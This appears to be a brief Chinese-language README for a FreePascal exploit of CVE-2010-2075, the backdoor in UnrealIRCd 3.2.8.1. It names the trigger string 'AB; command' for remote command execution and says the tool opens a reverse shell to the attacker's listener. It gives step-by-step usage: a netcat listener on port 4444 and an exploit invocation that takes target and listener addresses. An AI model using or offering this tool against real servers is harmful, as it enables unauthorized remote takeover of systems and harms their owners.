CVE-2010-2075

FreePascal 实现的 CVE-2010-2075 漏洞利用

漏洞信息

UnrealIRCd 3.2.8.1

通过向任意监听服务发送 "AB; command" 实现远程代码执行（RCE）。发送的任何命令都将以 UnrealIRCD 运行的用户身份执行。

此实现会向你的监听器发起一个反向 shell。

步骤 1

启动一个监听器，例如 netcat -lvp 4444

步骤 2

执行漏洞利用 ./exploit <target ip> <target port> <host ip> <host port>，其中 host ip 和 port 是你的监听器运行的地址和端口。

依赖要求

Synapse。如果你没有安装，可以通过 OPM 进行安装。